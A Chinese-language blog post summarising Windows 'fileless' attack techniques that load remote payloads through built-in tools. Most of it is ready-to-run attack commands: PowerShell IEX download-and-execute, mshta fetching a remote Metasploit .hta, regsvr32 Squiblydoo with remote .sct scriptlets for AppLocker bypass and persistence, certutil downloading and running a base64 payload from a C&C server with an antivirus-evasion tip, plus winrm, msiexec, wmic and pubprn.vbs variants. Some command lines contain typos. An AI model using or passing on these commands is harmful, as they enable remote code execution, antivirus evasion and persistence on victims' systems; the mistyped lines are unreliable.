Windows 无文件攻击总结
? Windows ? ? Persistence ?    2971    0    0

        传统的恶意软件(.exe)藏于磁盘的文件中,为了长期隐藏感染,需要修改注册表并连接到此文件。所谓的无文件落地,恶意程序不是以普通文件的方式存在,而是以脚本形式存在计算机中的注册表子项目中,以此来躲避杀软的检测,并且在Windows启动时都会调用注册表中的命令。因此无文件落地攻击包括两个流程:写入注册表(或者自运行)+ 加载远程载荷。当前该方法也可以用于绕过杀软、通过RCE漏洞直接getshell等。这里仅说下加载远程载荷的方法。


一、加载脚本常见的形式

    1. 以恶意脚本的形式

        利用Windows自带的解析器:PowerShell、VBScript、批处理文件和JavaScript,对应的应用程序分别为powershell.exe、cscript.exe、cmd.exe和mshta.exe。利用上传或远程加载对应payload脚本,直接调用解析器运行(可以使用Invoke-Obfuscation或者 Invoke-DOSfuscation 等进行混淆)

    2. 利用Windows自带的工具或脚本等原生工具

        用Windows自带的工具或脚本等原生工具实现执行恶意代码、启动程序、执行脚本、窃取数据、横向扩展、维持访问等,常用的有regsvr32.exe、rundll32.exe、certutil.exe、schtasks.exe、wmic.exe等,脚本类型的有:winrm.vbs、wmiexec.vbs、pubprn.vbs等


二、恶意脚本加载

    1. Powershell.exe

        以反弹一个简单的shell为例子,更多功能的脚本可参考PowerSploitNishang

powershell "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Script.ps1'); Script [argv]"

    2. Mshta.exe

        Hta是HTML应用程序,大多数的Windows操作系统都支持Hta文件执行,利用Mshta.exe解析.hta文件执行,这里的.hta文件可以是本地的也可以是可访问的远程主机上的。这里以用Mshta.exe解释远程MSF生成.hta文件完成上线为例

在目标机器上运行 mshta http://192.168.190.135:8080/aljfYvJ7OqSI8.hta 即可完成上线

    3. CScript.exe&WScript.exe

        上述两个工具都可以解析运行vbs和js的脚本。但值得注意的是WScript是将输出结果以对话框的形式显示,而CScript是以命令行的形式显示输出结果。使用也很简单:cscript %TEMP%\log.vbs 或者 wscript C:\test.js


三、Windows原生工具加载

    1. regsvr32.exe

        直接加载dll完成上线,同样也可远程加载执行:regsvr32.exe /s /u /n /i:http://192.168.190.135/payload1.sct scrobj.dll

除了.dll外,也可以解析.sct文件,可以用GreatSCT制作payload

.sct文件必须是XML文件格式,要执行命令可以参考如下:

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

同样该技术(Squiblydoo)可以应用于持久化,绕过AppLocker,sct文件内容如下:

<?XML version="1.0"?>
<scriptlet>
<registration
  description="Component"
  progid="Component.TESTCB"
  version="1.00"
  classid="{20002222-0000-0000-0000-000000000002}"
>
</registration>
 
<public>
  <method name="exec">
  </method>
</public>
<script language="JScript">
  <![CDATA[
    function exec(){
      new ActiveXObject('WScript.Shell').Run('calc.exe');
    }
  ]]>
</script>
</scriptlet>

        上述方法运行完regsvr32.exe /s  /i:http://x.x.x.x/backdoor.sct scrobj.dll后,scrobj.dll会创建COM对象,并写入注册表中,可以从HKEY_CLASSES_ROOT和HKEY_LOCAL_MACHINE查看到,可以通过以下的js脚本调用触发:

var test = new ActiveXObject("Component.TESTCB");
test.exec()

    2. certutil.exe

        该程序是Windows下的一个证书服务的安装程序,可以下载、编码和解码证书。在实际的渗透环境中,我们也可以利用它来解决一些无法上传脚本的情况。

从指定URL下载文件保存到outfile.file:certuil.exe -urlcache -split -f [URL] outfile.file ;base64编码解码等

在渗透利用中可以将载荷进行base64编码输入到网站下,利用 certutil.exe 下载解码执行,完成上线

 base64 payload.exe > /var/www/html/update.txt # 在C&C上生成经base64编码的exe
 certutril -urlcache -split -f http://cc_server/update.txt & certurl -decode update.txt update.exe & update.exe # 在目标执行 

PS:虽然说certutril是Windows本身自带的程序,但是现在用上述的方法来下载东西杀软都会拦截。但是加一个-verifyctl 参数就可以很好解决这个问题,下载下来的是一个二进制文件,需要修改后缀名为原来的后缀名即可运行

需要注意的是:在Windows Server 2003 上使用certutril下载时利用第一种方式会显示文件的十六进制并在当前目录下生成.bin文件,将.bin文件修改为原来的后缀即可


    3. winrm.vbs

        WS-Management 协议是一种基于标准简单对象访问协议(SOAP)的防火墙友好协议,允许来自不同供应商的硬件和操作系统进行互操作。它可以用过一下两种方式实现命令执行:

        (1)通过cscript.exe加载winrm.vbs脚本执行包含有执行命令的本地|UNC指定.xml文件,.xml文件内容如下:

<?xml version="1.0" encoding="UTF-8"?>
<p:Create_INPUT xmlns:p="http://schemas.microsoft.com/wbem/wsman/1/wmi/root/cimv2/Win32_Process">
   <p:CommandLine>calc.exe</p:CommandLine>
   <p:CurrentDirectory>C:\</p:CurrentDirectory>
</p:Create_INPUT>

触发执行:

cscript C:\windows\system32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck -file:.\obj.xm

同样,也可以采用UNC加载远程恶意可执行文件从而实现文件无落地的情况下执行命令,将calc.exe改为\\192.168.31.101\C$\calc.exe。但是此方法在Win7上执行失败,创建进程的id是空的

        (2)通过cscript.exe加载winrm.vbs脚本执行要执行命令,用@{....}替代-file,运行如下命令:

Cscript C:\Windows\System32\winrm.vbs invoke Create wmicimv2/Win32_Process -SkipCAcheck -SkipCNcheck @{commandline="calc.exe"}
# 或者缩写成如下:
Winrm invoke Create wmicimv2/Win32_Process @{CommandLine="\\192.168.31.101\C$\calc.exe";CurrentDirectory="C:\"}

因为使用Winrm,需要注意的几点:

    * Windows 2008 以上版本默认自动状态,Windows Vista/win7上必须手动启动,运行winrm quickconfig开启服务

    * Windows 2012 之后的版本默认允许远程任意主机来管理

    * 防火墙要开放5985、5986端口通信


    4. msiexec.exe

        用于安装Windows Install安装包(.msi)。

C:\Windows\System32\msiexec.exe /q /i http://192.168.1.4/update.txt # update.txt是利用MSF生成的格式为msi的payload

    5. wmic.exe

        Windows管理工具,提供从命令行借口和批命令脚本执行系统管理的支持。

C:\Windows\SysWOW64\wbem\WMIC.exe os get /format:"http://192.168.1.4/test.xsl"

    6. pubprn.vbs

        在Windows 7 +,在C:\Windows\System32\Printing_Admin_Scripts目录下存在,可以利用来解析.sct脚本,命令如下:

pubprn.vbs 127.0.0.1 script:http://192.168.190.135/payload1.sct

       


        PS:未完……待补充




参考链接:

http://blog.51cto.com/duallay/1979860

http://www.4hou.com/technology/10508.html

https://mp.weixin.qq.com/s/NxkHeYwddvHW9uv9ioyrxQ


觉得不错,点个赞?
Sign in to leave a comment.
No Leanote account ? Sign up now.
0 条评论
文章目录